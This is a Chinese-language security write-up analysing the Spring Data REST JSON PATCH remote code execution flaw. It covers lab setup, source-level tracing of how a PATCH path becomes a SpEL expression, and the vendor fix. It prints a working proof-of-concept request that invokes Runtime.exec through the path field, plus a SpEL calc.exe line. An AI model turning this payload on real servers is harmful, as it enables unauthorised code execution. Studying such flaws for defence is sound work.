标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-774] 作者: ecawen 发表于: [2017-10-04] [2017-10-04]被用户:ecawen 修改过
本文共 [710] 位读者顶过
本文相关资料:https://github.com/JavaPentesters/java_vul_target
[出自:jiwo.org] 漏洞描述
Spring Data Rest 在处理 PATCH 请求时存在RCE高危漏洞, 可以使用手工构造的JSON数据构造恶意PATCH请求提交至spring-data-rest服务器,使得服务器运行恶意JAVA代码。Spring Data Rest项目的目标是提供一种灵活的、可配置的机制,编写出可以对外暴露出HTTP协议的简单服务。 Git地址: https://github.com/spring-projects/spring-data-rest
Spring Data REST versions 2.5.12, 2.6.7, 3.0 RC3之前的版本 Spring Boot versions 2.0.0M4 之前的版本 Spring Data release trains Kay-RC3 之前的版本
This vulnerability was responsibly reported by Man Yue Mo from Semmle and
漏洞复现参考Spring boot官方文档,搭建存在spring-data-rest远程代码执行漏洞的靶机环境,pom.xml所需组件内容如下。靶机示例代码可以下载 https://github.com/JavaPentesters/java_vul_target org.springframework.bootspring-boot-dependencies1.4.3.RELEASEpomimportorg.springframework.bootspring-boot-starter-data-rest1.4.3.RELEASEorg.springframework.bootspring-boot-starter-data-jpa1.4.3.RELEASEorg.springframeworkspring-beanscom.h2databaseh21.4.193runtimecom.jayway.jsonpathjson-path2.2.0testjavax.persistencepersistence-api1.0junitjunit4.12test
1、创建实体类 @Entity
public
class Product {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private long id;
@Column
private String name;
@Column
private long price;
………………..getter setter
}
2、创建Repository接口 @RepositoryRestResource(collectionResourceRel= "product", path = "product")
public interface ProductService extends PagingAndSortingRepository
ProductService是一个继承PagingAndSortingRepository的接口,可以实现对Product对象进行各种操作。在应用运行的时候,Spring-Data-REST将自动创建此接口的实现。然后,它将使用@RepositoryRestResource注解让Spring MVC在/people路径处作为restful接口的入口点。 3、spring boot 启动程序 @SpringBootApplication
public class SpringDataRestApplication {
public static void main(String[] args) {
SpringApplication.run(SpringDataRestApplication.class, args);
}
}
4、创建product实体记录
向服务器端发送 HTTP JSON PATCH请求用于修改产品价格,其中请求体header的contente-type值必须遵循规范设为 Content-Type:application/json-patch+json。
修改id为1的product的price值为88,JSON Path提交的数据必须包含path和op字段, op表示具体操作, path用于定位准确数据字段。根据RFC2616标准文档定义,op定义了以下几种操作:add、remove、replace、move、copy、test等。
从官方漏洞修补的方案来看,客户端传入的JSONPATCH path会转换成Spel表达式。然而在执行PatchOperation.evaluateValueFromTarget方法时, 程序未进行安全校验从而触发远程代码执行漏洞。官方增加了verifyPath方法用于检验path有效性,根据给定的source和type提取出PropertyPath的链式路径,底层主要通过反射方式进行处理,如果生成失败,则抛出PatchException,漏洞也就没有办法触发。
我们构造如下POC触发spring-data-rest的远程代码执行漏洞: [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new
byte[]{109,107,100,105,114,32,45,112,32,47,116,109,112,47,116,101,115,116}))/price", "value": "88" }]
RCE漏洞成功触发
原理分析1 HTTP JSON PATCH方法 PATCH方法是新引入的,是对PUT方法的补充,用来对已知资源进行局部更新。在HTTP原本的定义中[RFC2616],用于上传数据的方法只有POST和PUT。后来鉴于POST和PUT语义和功能上的不足,又加入了PATCH方法[RFC5789]。
JSON PATCH请求方法IETF制定了标准RFC6902,必须包含一个path和op字段, op表示具体操作, path用于定位准确数据字段。PATCH操作可以用类似于这样的指令"set
2 spel表达式语言 Spel(Spring Excpression Language)是Spring3开始提供的通用表达式语言工具,语法与ognl表达式十分类似。Spel是一个很强大的工具用于在运行查询和操纵作对象图。Spel语言的语法类似于统一标准的el表达式,但提供额外的特性。最为显著的是方法调用和基本字符串模板处理方法。 Spel语言基本特性包括:字面值表达式、布尔和关系型操作、正则表达式、类表达式、访问属性,数组,列表,map、方法调用、关系操作、赋值、调用构造函数、Bean的引用、构建数组、三元运算符等。 Spel表达式语言基本使用方法地址: https://docs.spring.io/spring/docs/current/spring-framework-reference/core.html#expressions
3 JsonPatchHandler处理器用于处理HTTP Json Patch类型请求。
![]()
publicT apply(IncomingRequest request, T target) throws Exception {
Assert.notNull(request, "Request must not be null!");
Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");
Assert.notNull(target, "Target must not be null!");
if (request.isJsonPatchRequest()) {
return applyPatch(request.getBody(), target);
} else {
return applyMergePatch(request.getBody(), target);
}
}
request.isJsonPatchRequest用于判断是否为Json Patch 类型请求。 public boolean isJsonPatchRequest() {
return isPatchRequest()
&& RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}
![]()
JsonPatchPatchConverter用于将JsonNode节点转化为Patch对象,Patch代表一个patch操作列表。
private static String pathNodesToSpEL(String[] pathNodes) {
StringBuilder spelBuilder = new StringBuilder();
for (int i = 0; i < pathNodes.length; i++) { String pathNode = pathNodes[i]; if (pathNode.length() == 0) { continue; } if ("~".equals(pathNode)) { spelBuilder.append("[size() - 1]"); continue; } try { int index = Integer.parseInt(pathNode); spelBuilder.append('[').append(index).append(']'); } catch (NumberFormatException e) { if (spelBuilder.length() > 0) {
spelBuilder.append('.');
}
spelBuilder.append(pathNode);
}
}
String spel = spelBuilder.toString();
if (spel.length() == 0) {
spel = "#this";
}
return spel;
}
以上为将json patch请求体path解析生成为Spel表达式的执行路径
PatchOperation.pathToExpression(path)
PathToSpel.pathToSpEL(path)
PathToSpel.pathNodesToSpEL(path.split("\\/"))
Path.app(in, type)
PatchOperation.perform(in, type)
ReploaceOperation.setValueOnTarget(target,evaluateValueFromTarget(target, type))
protectedObject evaluateValueFromTarget(Object targetObject, ClassentityType) {
return value instanceof LateObjectEvaluator
? ((LateObjectEvaluator) value).evaluate(spelExpression.getValueType(targetObject)) : value;
}
SpelExpression执行setVaule操作时漏洞被触发。 ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc.exe').name"); exp.setValue("", ""); 未完待续
|